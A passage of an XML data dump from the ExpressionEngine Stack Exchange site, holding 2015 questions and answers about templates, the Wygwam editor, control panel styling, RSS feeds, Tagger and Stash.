required!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So now for that embedded template, here it really is as simple as it gets, no need for PHP but it's a standard template, as standard as it gets so you can use PHP, any EE tags, whatever you want my friends!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries dynamic=&quot;no&quot; entry_id=&quot;{embed:eid}&quot;}&#xA;    {title}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There you have it, winner winner, chicken dinner! To make my answer 110% complete, heres the output I get (please note I'm using EE2.8.1 in my sandbox, but this all should be correct for EE 2.9.X too).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Child 6&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Parents&lt;/em&gt;&lt;/strong&gt;&#xA;&lt;br&gt;&#xA;Even Children&lt;/p&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;h2&gt;Child 5&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Parents&lt;/em&gt;&lt;/strong&gt;&#xA;&lt;br&gt;&#xA;Odd Children&lt;/p&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;h2&gt;Child 4&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Parents&lt;/em&gt;&lt;/strong&gt;&#xA;&lt;br&gt;&#xA;Even Children&lt;/p&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;h2&gt;Child 3&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Parents&lt;/em&gt;&lt;/strong&gt;&#xA;&lt;br&gt;&#xA;Odd Children&lt;/p&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;h2&gt;Child 2&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Parents&lt;/em&gt;&lt;/strong&gt;&#xA;&lt;br&gt;&#xA;Even Children&lt;/p&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;h2&gt;Child 1&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Parents&lt;/em&gt;&lt;/strong&gt;&#xA;&lt;br&gt;&#xA;Odd Children&lt;/p&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;p&gt;Please do vote up, and/or click as the answer @&lt;a href=&quot;https://expressionengine.stackexchange.com/users/1038/kenny&quot;&gt;Kenny&lt;/a&gt; (if your still active around here) if this helps y'all! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, Kenny, specifically notice how the embedded template is simply the parent in a channel entries loop? This means you should be able to then access your &lt;code&gt;size_chart&lt;/code&gt; relationship in the normal, child fashion...&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2016-01-31T08:20:45.073" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31167" PostTypeId="2" ParentId="1369" CreationDate="2015-04-23T17:39:52.337" Score="1" Body="&lt;p&gt;aren't we overkillingt this somewhat?? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How about setting PHP on Output and dropping this into the template : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo addslashes(&quot;{meta_description}&quot;); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Simple, no need for extra plugins (and extra work for CI or EE), just PHP on templates. Plus &lt;code&gt;addslashes&lt;/code&gt; does exactly what the OP's asking for, no silly &lt;code&gt;str_replace&lt;/code&gt; with massive arrays of escape characters ect...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just my 2 pennith!&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-04-23T17:39:52.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31168" PostTypeId="1" AcceptedAnswerId="31174" CreationDate="2015-04-23T17:49:39.093" Score="1" ViewCount="181" Body="&lt;p&gt;I would like to make some modification to  the [‘Format”] dropdown box in WYGWAM but I can not find the file. (Normal, formatted, address, Heading, etc]. I figured out how to make the modifications needed for the [“Styles”] dropdown box from the Wigwam Docs and that works great. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I change the  [‘Format”] dropdown box or create a custom file like I did with the styles by adding ‘my_styles’&lt;/p&gt;&#xA;" OwnerUserId="1330" LastActivityDate="2015-04-23T19:08:09.463" Title="WYGWAM 'Format' dropdown modification needed." Tags="|wygwam|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31171" PostTypeId="2" ParentId="30508" CreationDate="2015-04-23T18:18:57.927" Score="0" Body="&lt;p&gt;Looks like this is a bug with the latest CKEditor and Firefox.  I can reproduce it on their demo site &lt;a href=&quot;http://ckeditor.com/demo&quot; rel=&quot;nofollow&quot;&gt;http://ckeditor.com/demo&lt;/a&gt;, but only with Firefox.  Chrome and Safari seem to both work fine.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2015-04-23T18:18:57.927" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31172" PostTypeId="2" ParentId="31168" CreationDate="2015-04-23T18:51:38.480" Score="0" Body="&lt;p&gt;UPDATE: Based on your comment on my answer it sounds like you are looking for a way to style the content as it appears inside Wygwam when viewed on the edit entry page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that's the case go to &lt;em&gt;Add-ons &gt; Modules &gt; Wygwam &gt; Editor Configurations&lt;/em&gt; and select the configuration you want to edit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look for the &lt;em&gt;CSS File&lt;/em&gt; field and enter the path to the CSS file you want to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0Jj7r.png&quot; alt=&quot;wygwam custom css file&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(old answer...not what you were looking for...)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be managed in the Control Panel. Go to &lt;em&gt;Add-ons &gt; Modules &gt; Wygwam &gt; Editor Configurations&lt;/em&gt; and select the configuration you want to edit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under the &lt;em&gt;Advanced Settings&lt;/em&gt;  area add a new advanced setting for &lt;em&gt;format_tags.&lt;/em&gt; You'll see a series of checkboxes that allow you to control what elements appear in the Format dropdown in the toolbar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tG2b3.png&quot; alt=&quot;wygwam format options&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2015-04-23T19:08:09.463" LastActivityDate="2015-04-23T19:08:09.463" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31173" PostTypeId="1" CreationDate="2015-04-23T18:53:28.603" Score="0" ViewCount="148" Body="&lt;p&gt;All of the sudden today, I getting the following error msg on my site and in EE install &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: session_start(): The session id is too long or contains illegal characters, valid characters are a-z, A-Z, 0-9 and '-,'&#xA;Filename: content_elements/ft.content_elements.php&#xA;Line Number: 38&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone run in this before?&lt;/p&gt;&#xA;" OwnerUserId="2826" LastActivityDate="2015-08-03T15:43:46.917" Title="Content Elements: The session id is too long or contains illegal characters" Tags="|content-elements|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31174" PostTypeId="2" ParentId="31168" CreationDate="2015-04-23T18:58:32.023" Score="1" Body="&lt;p&gt;To simply remove options from the Format dropdown, navigate to the &quot;Editor Configurations&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/system/index.php?S=0&amp;amp;D=cp&amp;amp;C=addons_modules&amp;amp;M=show_module_cp&amp;amp;module=wygwam&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then under the Advanced Settings, add the option called: &quot;format_tags&quot; which will display a checkbox list that you can use to specify which format options you would like to be available in the Format dropdown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for styling these selections (like you would with the Styles dropdown), I would suggest you try to use the &quot;Styles&quot; dropdown to do the work; however, you can explore specifying auto-classes on the header tags, etc. by trying to create a &quot;customConfig&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, under Advanced Settings, add the option called &quot;customConfig&quot;. Then specify your a different custom JS file that has the &quot;format tag&quot; rules in it. Here's the documentation on what you'd probably put in that custom config file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.cksource.com/ckeditor_api/symbols/CKEDITOR.config.html#.format_tags&quot; rel=&quot;nofollow&quot;&gt;http://docs.cksource.com/ckeditor_api/symbols/CKEDITOR.config.html#.format_tags&lt;/a&gt;&#xA;&lt;a href=&quot;http://docs.cksource.com/ckeditor_api/symbols/CKEDITOR.config.html#.format_h1&quot; rel=&quot;nofollow&quot;&gt;http://docs.cksource.com/ckeditor_api/symbols/CKEDITOR.config.html#.format_h1&lt;/a&gt;&#xA;&lt;a href=&quot;http://docs.cksource.com/ckeditor_api/symbols/CKEDITOR.config.html#.format_h2&quot; rel=&quot;nofollow&quot;&gt;http://docs.cksource.com/ckeditor_api/symbols/CKEDITOR.config.html#.format_h2&lt;/a&gt;&#xA;etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;config.format_h1 = { element : 'h1', attributes : { 'class' : 'contentTitle1' } };&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Note that I haven't used the customConfig option before; so I can't confirm any success with this)&lt;/p&gt;&#xA;" OwnerUserId="339" LastActivityDate="2015-04-23T18:58:32.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31176" PostTypeId="1" AcceptedAnswerId="31180" CreationDate="2015-04-24T10:51:01.617" Score="1" ViewCount="527" Body="&lt;p&gt;How to change the font colour in EE cPanel ?&#xA;I never have taken to the idea using &quot;Grey&quot; text instead of Black text. It seems daft spending money to buy a large monitor, and then give the text a faded look ? I have copied the CP themes folder and renamed it as my custom scheme. But I am unable to see how to edit the font colour. In the CSS file some of the values are visible and can be changed. But, for example, 'subtext' shows a size etc, in the global css file, but no options for the colour.&#xA;Can anyone help on this ? I want to change all of the light grey text to Black&#xA;I am doing this on my localhost.&lt;/p&gt;&#xA;" OwnerUserId="6211" LastActivityDate="2015-04-24T14:02:32.167" Title="How to change the font colour in EE cPanel?" Tags="|control-panel|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31177" PostTypeId="2" ParentId="31176" CreationDate="2015-04-24T10:54:11.713" Score="0" Body="&lt;p&gt;Hi might want to have a look here: &lt;a href=&quot;https://devot-ee.com/add-ons/control-panel-rebrand&quot; rel=&quot;nofollow&quot;&gt;Control Panel Rebrand&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's free too. &lt;/p&gt;&#xA;" OwnerUserId="3689" LastActivityDate="2015-04-24T10:54:11.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31179" PostTypeId="2" ParentId="31176" CreationDate="2015-04-24T13:19:07.837" Score="0" Body="&lt;p&gt;In addition to Tom's suggested theme, here's &lt;a href=&quot;https://devot-ee.com/add-ons/sassy-cp&quot; rel=&quot;nofollow&quot;&gt;another one (Sassy)&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you can customise it specifically without changing any of the core files using &lt;a href=&quot;https://devot-ee.com/add-ons/cp-css-js&quot; rel=&quot;nofollow&quot;&gt;the CSS &amp;amp; JS extension&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2015-04-24T13:19:07.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31180" PostTypeId="2" ParentId="31176" CreationDate="2015-04-24T14:02:32.167" Score="1" Body="&lt;p&gt;You can accomplish this without installing or maintaining any add-ons by creating an &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/cp_styles/#overriding-control-panel-style&quot; rel=&quot;nofollow&quot;&gt;override.css&lt;/a&gt;. You can then adjust any of the styling for any elements you wish.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2015-04-24T14:02:32.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31182" PostTypeId="1" AcceptedAnswerId="31187" CreationDate="2015-04-24T15:59:00.710" Score="0" ViewCount="61" Body="&lt;p&gt;I have a site using 2.5.3 .  I've moved this site to a new server and when logged onto the control panel, I get the following error on the front page of the site:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;&#xA;Severity: Warning&#xA;&#xA;Message: Parameter 3 to Playa_ext::channel_entries_tagdata() expected to be a reference, value given&#xA;&#xA;Filename: libraries/Extensions.php&#xA;&#xA;Line Number: 241&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've updated Playa to version 4.5.2 , but the errors are still there.&lt;/p&gt;&#xA;" OwnerUserId="984" LastEditorUserId="55" LastEditDate="2015-04-24T19:01:19.363" LastActivityDate="2015-04-24T19:06:10.090" Title="Playa - PHP error after moving server" Tags="|playa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31183" PostTypeId="2" ParentId="30960" CreationDate="2015-04-24T16:14:56.670" Score="0" Body="&lt;p&gt;The fix for this (thanks Store guys!) is here: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;/third_party/store/src/Action/CheckoutAction.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;under this (line 57 ish)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$form_params = $this-&gt;form_params();&#xA;          $update_data = $this-&gt;ee-&gt;security-&gt;xss_clean($_POST);&#xA;          $cart = $this-&gt;ee-&gt;store-&gt;orders-&gt;get_cart();&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Put this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // check to remove any html&#xA;    foreach ($update_data as $key =&amp;gt; $val) {&#xA;        if (strpos($key, 'billing_') === false &amp;amp;&amp;amp; strpos($key, 'shipping_') === false) continue;&#xA;        $val = html_entity_decode($val);&#xA;        $val = str_replace('[removed]', '', $val);&#xA;        $update_data[$key] = strip_tags($val);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And all html, including the [removed] notice that EE catches is disappeared and never enters the DB&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2015-04-24T16:14:56.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31184" PostTypeId="1" CreationDate="2015-04-24T16:28:47.813" Score="0" ViewCount="404" Body="&lt;p&gt;I am trying to get a multi-channel RSS feed working. The feed seems to populate correctly if I use: &lt;code&gt;&amp;lt;link&amp;gt;{title_permalink=&quot;site/index&quot;}&amp;lt;/link&amp;gt;&lt;/code&gt;, but as you can guess then each article just takes the subscriber to the index of the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried &lt;code&gt;&amp;lt;link&amp;gt;{title_permalink=&quot;{page_url}&quot;}&amp;lt;/link&amp;gt;&lt;/code&gt;, but that broke the feed completely and it wouldn't populate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get it so that each entry in the feed links directly to the specific content item, regardless of channel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My full XML code is here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{preload_replace:master_channel_name=&quot;articles|blogs|news|reports&quot;}&#xA;{preload_replace:master_channel_status=&quot;OPEN&quot;}&#xA;{preload_replace:master_rss_uri=&quot;https://ntecheresearch.com/rss/content&quot;}&#xA;&#xA;{exp:rss:feed channel=&quot;{master_channel_name}&quot; status=&quot;{master_channel_status}&quot;}&#xA;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;{encoding}&quot;?&amp;gt;&#xA;&amp;lt;rss version=&quot;2.0&quot;&#xA;    xmlns:dc=&quot;https://purl.org/dc/elements/1.1/&quot;&#xA;    xmlns:atom=&quot;https://www.w3.org/2005/Atom&quot;&amp;gt;&#xA;    &amp;lt;channel&amp;gt;&#xA;    &amp;lt;title&amp;gt;{exp:xml_encode}n-tech Rearch RSS Feed{/exp:xml_encode}&amp;lt;/title&amp;gt;&#xA;    &amp;lt;link&amp;gt;{channel_url}&amp;lt;/link&amp;gt;&#xA;    &amp;lt;description&amp;gt;&amp;lt;/description&amp;gt;&#xA;    &amp;lt;dc:language&amp;gt;{channel_language}&amp;lt;/dc:language&amp;gt;&#xA;    &amp;lt;dc:creator&amp;gt;{email}&amp;lt;/dc:creator&amp;gt;&#xA;    &amp;lt;dc:rights&amp;gt;Copyright {gmt_date format=&quot;%Y&quot;}&amp;lt;/dc:rights&amp;gt;&#xA;    &amp;lt;pubDate&amp;gt;{gmt_date format=&quot;%D, %d %M %Y %H:%i:%s %T&quot;}&amp;lt;/pubDate&amp;gt;&#xA;    &amp;lt;atom:link href=&quot;{master_rss_uri}&quot; rel=&quot;self&quot; type=&quot;application/rss+xml&quot; /&amp;gt;   &#xA;{exp:channel:entries channel=&quot;{master_channel_name}&quot; limit=&quot;30&quot; rdf=&quot;off&quot; dynamic_start=&quot;on&quot; disable=&quot;member_data|trackbacks&quot; status=&quot;{master_channel_status}&quot;}&#xA;    &amp;lt;item&amp;gt;&#xA;      &amp;lt;title&amp;gt;{exp:xml_encode protect_entities=&quot;yes&quot;}{title}{/exp:xml_encode}&amp;lt;/title&amp;gt;&#xA;      &amp;lt;link&amp;gt;{title_permalink=&quot;{page_url}&quot;}&amp;lt;/link&amp;gt;&#xA;      &amp;lt;guid isPermaLink=&quot;false&quot;&amp;gt;{title_permalink=&quot;site/index&quot;}#id:{entry_id}#date:{gmt_entry_date format=&quot;%H:%i&quot;}&amp;lt;/guid&amp;gt;&#xA;      &amp;lt;description&amp;gt;&amp;lt;![CDATA[{summary}]]&amp;gt;&amp;lt;/description&amp;gt;&#xA;      {categories}&amp;lt;category&amp;gt;{exp:xml_encode protect_entities=&quot;yes&quot;}{category_name}{/exp:xml_encode}&amp;lt;/category&amp;gt;&#xA;      {/categories}&#xA;      &amp;lt;pubDate&amp;gt;{gmt_entry_date format=&quot;%D, %d %M %Y %H:%i %T&quot;}&amp;lt;/pubDate&amp;gt;&#xA;    &amp;lt;/item&amp;gt;&#xA;{/exp:channel:entries}&#xA;    &amp;lt;/channel&amp;gt;&#xA;&amp;lt;/rss&amp;gt;&#xA;{/exp:rss:feed}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2307" LastActivityDate="2015-04-24T17:00:32.017" Title="Creating a multi-channel RSS Feed" Tags="|rss|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31185" PostTypeId="2" ParentId="31184" CreationDate="2015-04-24T17:00:32.017" Score="2" Body="&lt;p&gt;&lt;code&gt;&amp;lt;link&amp;gt;{title_permalink=&quot;{page_url}&quot;}&amp;lt;/link&amp;gt;&lt;/code&gt; will never work because the &lt;code&gt;title_permalink&lt;/code&gt; will be parsed before &lt;code&gt;page_url&lt;/code&gt;. &lt;code&gt;page_url&lt;/code&gt; &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#page-url&quot; rel=&quot;nofollow&quot;&gt;also just works on Page Module&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like the channels you're trying to add to the feed use different templates, which makes impossible to use the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#id131&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;{url_title_path=&quot;&quot;}&lt;/code&gt;&lt;/a&gt;. Is it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, you have two options.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;first one&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#relative-url&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;{relative_url}&lt;/code&gt;&lt;/a&gt;, which returns the value of the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/cp/admin/channels/channel_edit_preferences.html#channel-url&quot; rel=&quot;nofollow&quot;&gt;Channel URL on its settings&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For each &lt;code&gt;&amp;lt;item&amp;gt;&lt;/code&gt;, use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link&amp;gt;{relative_url}/{url_title}&amp;lt;/link&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or, if you're using &lt;strong&gt;root&lt;/strong&gt; relative links on channels settings, which I prefer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link&amp;gt;{site_url}{relative_url}/{url_title}&amp;lt;/link&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;second one&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Conditionals! Check for the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#channel-short-name&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;channel_short_name&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if channel_short_name == &quot;x&quot;}&#xA;    &amp;lt;link&amp;gt;{title_permalink='x_template_group'} [...]&#xA;{if:else}&#xA;    &amp;lt;link&amp;gt;{title_permalink='y_template_group'} [...]&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastActivityDate="2015-04-24T17:00:32.017" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31186" PostTypeId="2" ParentId="1369" CreationDate="2015-04-24T17:48:04.270" Score="-1" Body="&lt;p&gt;There's a first party &lt;a href=&quot;https://github.com/EllisLab/HTML-Attribute-Content&quot; rel=&quot;nofollow&quot;&gt;add-on for that&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta name=&quot;description&quot;&#xA;  content=&quot;{exp:html_attribute_content limit=&quot;200&quot; end_char=&quot;&amp;amp;#8230;&quot;}{meta_description}{/exp:html_attribute_content}&quot;&#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's a &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/#available-for-download&quot; rel=&quot;nofollow&quot;&gt;list of useful add-ons&lt;/a&gt; to download right from EECMS user guide.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2015-04-24T17:48:04.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31187" PostTypeId="2" ParentId="31182" CreationDate="2015-04-24T19:06:10.090" Score="2" Body="&lt;p&gt;See this &lt;a href=&quot;https://support.ellislab.com/bugs/detail/18263&quot; rel=&quot;nofollow&quot;&gt;bug report thread&lt;/a&gt; - this error arises when you run 2.5.3 on certain PHP versions. Upgrading to at minimum 2.5.4 should fix this. From the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/about/changelog.html#version-2-5-4&quot; rel=&quot;nofollow&quot;&gt;release notes&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fixed a bug (#18263) where PHP may claim an object wasn’t passed by reference to an extension hook.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-04-24T19:06:10.090" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31189" PostTypeId="2" ParentId="31151" CreationDate="2015-04-24T21:38:43.913" Score="1" Body="&lt;p&gt;What have you tried? How far have you got? Depending on exactly what you need, you might not even need Zoo Visitor. You can use conditionals and global variables to display different content in a template like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if member_group == '7'}  You're an &quot;Employee&quot;!  {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/conditionals.html#member-group&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; in the docs for some more info. If you can be more specific I might be able to offer more assistance.&lt;/p&gt;&#xA;" OwnerUserId="1232" LastActivityDate="2015-04-24T21:38:43.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31190" PostTypeId="2" ParentId="31140" CreationDate="2015-04-24T21:52:06.493" Score="0" Body="&lt;p&gt;Ok had to re-look at things and got the following working...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;{news_channel}&quot; url_title=&quot;{segment_2}&quot; limit=&quot;3&quot; dynamic=&quot;no&quot; disable=&quot;{gv-disable-default}&quot;}&#xA;{exp:tagger:related entry_id=&quot;{entry_id}&quot; custom_fields=&quot;news-heading|news-content&quot;}&#xA;&#xA;    {if tagger:no_entries}&#xA;        &amp;lt;div class=&quot;large-12 columns&quot;&amp;gt;&#xA;            &amp;lt;p&amp;gt;No related entries were found.&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    {/if}&#xA;&#xA;        &amp;lt;h2&amp;gt;{tagger:news-heading}&amp;lt;/h2&amp;gt;&#xA;        {tagger:news-content}&#xA;&#xA;&#xA;{/exp:tagger:related}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="547" LastActivityDate="2015-04-24T21:52:06.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31191" PostTypeId="1" CreationDate="2015-04-24T22:31:33.943" Score="1" ViewCount="208" Body="&lt;p&gt;I'm trying to pull back related tag entries restricted to the current language. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say a news entry has a tag of &quot;YMCA&quot; in the English and Welsh versions then the tagger:related pulls back related entires for the welsh and english version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to be able to restrict related tag entries to the current language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;  channel=&quot;news&quot;&#xA;  dynamic=&quot;no&quot;&#xA;  url_title=&quot;{segment_2}&quot;&#xA;  limit=&quot;3&quot;&#xA;  entry_id=&quot;{exp:transcribe:entry_ids channel=&quot;news&quot;}&quot;&#xA;  parse=&quot;inward&quot;&#xA;}&#xA;&#xA;  {exp:tagger:related entry_id=&quot;{entry_id}&quot; custom_fields=&quot;news-heading|news-content&quot;}}&#xA;&#xA;    {if tagger:no_entries}&amp;lt;p&amp;gt;No related entries were found.&amp;lt;/p&amp;gt;{/if}&#xA;&#xA;    &amp;lt;h2&amp;gt;{tagger:news-heading}&amp;lt;/h2&amp;gt;&#xA;    {tagger:news-content}&#xA;&#xA;  {/exp:tagger:related}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="547" LastEditorUserId="1100" LastEditDate="2015-05-22T13:49:48.790" LastActivityDate="2015-05-22T13:49:48.790" Title="Restrict related tagger entries to current language (transcribe)" Tags="|transcribe|devdemon-tagger|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31192" PostTypeId="1" CreationDate="2015-04-25T00:22:39.107" Score="2" ViewCount="500" Body="&lt;p&gt;I read the EE Template Routes documentation, no have concrete tutorials and examples. It's hard to understand how to use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does someone have a simple and concrete example ??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="1918" LastActivityDate="2015-04-30T22:27:11.317" Title="Template Routes help and tutorial" Tags="|template-routes|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31193" PostTypeId="1" CreationDate="2015-04-25T02:56:41.000" Score="0" ViewCount="66" Body="&lt;p&gt;I'm excited about being able to use Stash to avoid having to use series of embedded templates, but can't figure out how to make it work. The code below generates the variable 'course' and uses it in the second loop. The variable, {exp:stash:course} and {exp:stash:get name=&quot;course&quot;}, work fine by themselves, outside of the second loop, but using the search parameter within the loop there is nothing. I should be able to view {exp:stash:cats}, which is in the embedded template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using various parameters to fix the problem such as 'save', 'cache', &#xA;'trim', 'parse tags', and others. I think this must be a parse order issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Geoff 